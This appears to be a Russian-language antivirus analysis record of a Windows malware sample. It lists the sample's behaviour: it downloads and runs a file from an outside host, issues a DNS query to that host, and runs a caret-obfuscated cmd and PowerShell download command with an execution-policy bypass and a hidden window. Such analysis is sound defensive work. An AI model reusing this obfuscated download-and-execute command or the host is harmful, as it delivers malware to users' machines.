Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fopeioaas.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^WER^SHE^l^L.exe ^-e^Xe^cut^i^oNP^ol^iC^Y By^paSs^ -no^PR^ofI^L^e^ ^-W^in^dOw^sTYLe H^id^D^E^n^ (^n^eW-ob^JEc^T ^Sy^s^T^Em.Ne^t.^wEBclIent)^.d^OwnL^oAdFi^le^(^'http://www...
Сетевая активность
UDP
- DNS ASK fo###oaas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^WER^SHE^l^L.exe ^-e^Xe^cut^i^oNP^ol^iC^Y By^paSs^ -no^PR^ofI^L^e^ ^-W^in^dOw^sTYLe H^id^D^E^n^ (^n^eW-ob^JEc^T ^Sy^s^T^Em.Ne^t.^wEBclIent)^.d^OwnL^oAdFi^le^(^'http://www...' (со скрытым окном)
